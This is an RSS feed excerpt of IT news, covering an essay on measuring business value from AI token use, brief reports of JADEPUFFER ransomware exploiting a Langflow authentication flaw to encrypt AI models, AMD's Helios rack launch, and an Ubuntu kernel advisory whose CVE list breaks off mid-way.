<p class="wp-block-paragraph">The same is true for enterprise AI.</p>



<p class="wp-block-paragraph">Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.</p>



<p class="wp-block-paragraph">Borrowing this concept as a management analogy, I call this token exergy.</p>



<p class="wp-block-paragraph">Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:</p>



<ul class="wp-block-list">
<li>High token exergy means AI is solving important business problems.</li>



<li>Low token exergy means AI is generating activity without creating proportional enterprise value.</li>
</ul>



<p class="wp-block-paragraph">The distinction matters, because activity is not the same as impact.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.</p>



<p class="wp-block-paragraph">These metrics remain important, but they tell only part of the story.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</a> This means that the next generation of CIO dashboards should answer different questions:</p>



<ul class="wp-block-list">
<li>What is our return on tokens?</li>



<li>Where is token entropy reducing our effectiveness?</li>



<li>How much token exergy are we generating?</li>



<li>Which AI initiatives produce the greatest business value?</li>



<li>Which use cases create the strongest competitive advantage?</li>
</ul>



<p class="wp-block-paragraph">These are no longer technology metrics. They are business metrics.</p>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone.</p>



<p class="wp-block-paragraph">It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. <a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Three-layer enterprise agentic architecture</a> Will enable this.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:</p>



<ul class="wp-block-list">
<li>Factories stopped measuring coal consumption and began measuring productivity.</li>



<li>Cloud computing evolved beyond server utilization to business agility.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.</p>



<p class="wp-block-paragraph">That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.</p>



<p class="wp-block-paragraph">Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. <a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware]]></title>
<description><![CDATA[A ransomware campaign is now targeting the assets behind artificial intelligence systems. The threat actor known as JADEPUFFER has evolved from damaging databases to deploying ENCFORGE, a ransomware strain designed to encrypt AI models, training data, and vector databases. The operation begins by...]]></description>
<link>https://tsecurity.de/de/3683563/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683563/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/</guid>
<pubDate>Tue, 21 Jul 2026 13:40:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A ransomware campaign is now targeting the assets behind artificial intelligence systems. The threat actor known as JADEPUFFER has evolved from damaging databases to deploying ENCFORGE, a ransomware strain designed to encrypt AI models, training data, and vector databases. The operation begins by exploiting CVE-2025-3248, a critical missing-authentication flaw in Langflow’s code-validation endpoint. The bug […]</p>
<p>The post <a href="https://cybersecuritynews.com/agentic-jadepuffer-langflow-flaw/">Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Helios marks AMD’s biggest AI infrastructure push yet]]></title>
<description><![CDATA[AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.

...]]></description>
<link>https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</guid>
<pubDate>Tue, 21 Jul 2026 13:21:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.</p>



<p class="wp-block-paragraph">“Helios is AMD’s first complete AI rack system with GPUs, CPUs, and networking built together, instead of selling separate chips. It is well suited for training large AI models, memory heavy models, long context processing and high volume inference, and AMD’s biggest shot yet at challenging Nvidia’s dominance,” said Pareekh Jain, CEO at EIIRTrend &amp; Pareekh Consulting.</p>



<p class="wp-block-paragraph">AMD has also secured an early hyperscale deployment for Helios with <a href="https://newsroom.amd.com/news/microsoft-azure-ai-infrastructure/" target="_blank" rel="noreferrer noopener">Microsoft</a> agreeing to deploy it to power its frontier model AI inference, its AI customers, and support Azure AI services.</p>



<h2 class="wp-block-heading">The architecture behind Helios</h2>



<p class="wp-block-paragraph">The launch of Helios marks AMD’s latest attempt to strengthen its position in a market where Nvidia continues to dominate AI infrastructure. Unlike previous AMD AI offerings centred on individual accelerators, Helios is designed as a complete rack-scale system integrating compute, networking and software.</p>



<p class="wp-block-paragraph">According to Jain, Helios goes up against Nvidia’s <a href="https://www.networkworld.com/article/4188058/nvidia-unveils-vera-rubin-platform-targeting-ai-hpc-infrastructure-customers.html?utm=hybrid_search">Vera Rubin</a> rack. “Nvidia is faster on raw inference speed and has a faster internal connection between chips whereas AMD wins on memory size and offers better value for the price and power used. It’s standout feature is memory, where each rack packs about 50% more total memory than Nvidia’s competing system, which helps run very large AI models. It also uses open, industry-standard connections instead of Nvidia’s private technology, giving buyers more flexibility,” he said.</p>



<p class="wp-block-paragraph">The AMD Helios rackscale design includes 72 AMD Instinct MI455X GPUs with AMD EPYC Venice CPUs and AMD Pensando Vulcano networking using UALink, optimized for compute, data movement, and system efficiency. The platform also supports both OCP and MX data types, delivering up to 2.9 EFLOPS of FP4 and 1.4 EFLOPS of FP8 compute for AI training and inference. </p>



<p class="wp-block-paragraph">It also integrates 31TB of HBM4 memory with 19.6TB/s of memory bandwidth, while a liquid-cooling design uses quick-disconnect connections to efficiently dissipate heat. It is designed on open standards including OCP Open Rack Wide (ORW), <a href="https://www.networkworld.com/article/4155357/new-v2-ualink-specification-aims-to-catch-up-to-nvlink.html?utm=hybrid_search">Ultra Accelerator Link (UALink)</a>, and <a href="https://www.networkworld.com/article/4006285/ultra-ethernet-consortium-publishes-1-0-specification-readies-ethernet-for-hpc-ai.html?utm=hybrid_search">Ultra Ethernet Consortium (UEC)</a> and can be scaled efficiently across datacenters while optimizing power, cooling, and serviceability for modern AI infrastructure, <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">said</a> the company.</p>



<p class="wp-block-paragraph">On the security front, Helios incorporates a hardware root of trust and continuous attestation at every layer. It supports hardware-enforced isolation, encrypted memory and interconnects to help protect AI models, data and workloads in multi-tenant environments.</p>



<h2 class="wp-block-heading">The software challenge</h2>



<p class="wp-block-paragraph">While the launch of Helios might help AMD close the hardware gap with Nvidia’s rack-scale systems, it will be the software compatibility that will be the real driver of enterprise adoption.</p>



<p class="wp-block-paragraph">For this, AMD is expanding its ROCm AI software platform too, which supports frameworks including PyTorch, TensorFlow, and JAX, for enabling high-throughput inference and efficient distributed training while preserving familiar developer workflows.</p>



<p class="wp-block-paragraph">Jain stated While hardware parity or superiority in memory bandwidth is achievable, software maturity remains the key differentiator for Nvidia. The Nvidia’s <a href="https://www.networkworld.com/article/4079693/quantum-circuits-brings-dual-rail-qubits-to-nvidias-cuda-q-development-platform.html?utm=hybrid_search">CUDA</a> software has a 15-20 year head start, and almost every AI tool, tutorial, and codebase defaults to it.</p>



<p class="wp-block-paragraph">He added software has been AMD’s weak spot. AMD has improved  ROCm a lot but it still lags behind on the newest, most specialized optimizations, and setup is more complicated. For everyday AI work, ROCm is usable but for cutting-edge performance, CUDA still leads.</p>



<h2 class="wp-block-heading">Evaluating the trade-offs</h2>



<p class="wp-block-paragraph">For CIOs evaluating AI infrastructure, Helios launch brings in another option to a market that has largely revolved around Nvidia’s dominance. But when considering Helios, CIOs will have to evaluate factors such as performance, software readiness, deployment models, procurement timelines and total cost of ownership before committing to a platform.</p>



<p class="wp-block-paragraph">While AMD has not publicly announced a specific price tag for the Helios, Jain believes it to be noticeably cheaper to buy and run with lower chip prices and lower power use per GPU.</p>



<p class="wp-block-paragraph">“It gives companies a real second option besides Nvidia, easing supply shortages and giving leverage in negotiations. The catch is software, where teams need to check whether their AI tools run well on AMD’s stack, since some advanced tools are still CUDA only,” Jain said. </p>



<p class="wp-block-paragraph">For CIOs planning to deploy both, Jain warns the two systems can’t be plugged together into one combined machine as they use different, incompatible connection technology. But companies can and do run both side by side in the same data center, just as separate systems handling different jobs.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data]]></title>
<description><![CDATA[JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpo...]]></description>
<link>https://tsecurity.de/de/3683479/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683479/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpoint that enables unauthenticated arbitrary Python execution on the host. That initial operation chained reconnaissance, credential […]</p>
<p>The post <a href="https://gbhackers.com/jadepuffer-deploys-encforge-ransomware/">JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data]]></title>
<description><![CDATA[JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpo...]]></description>
<link>https://tsecurity.de/de/3683466/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683466/it-security-nachrichten/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JADEPUFFER has escalated from automated database extortion to purpose-built AI model destruction, deploying a custom Go ransomware dubbed ENCFORGE to encrypt and effectively wipe high‑value AI and ML artifacts across an entire stack. A missing‑authentication bug in the /api/v1/validate/code endpoint…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/jadepuffer-deploys-encforge-ransomware-built-to-destroy-ai-models-and-training-data/">JADEPUFFER Deploys ENCFORGE Ransomware Built to Destroy AI Models and Training Data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8576-1: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 13:01:12 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
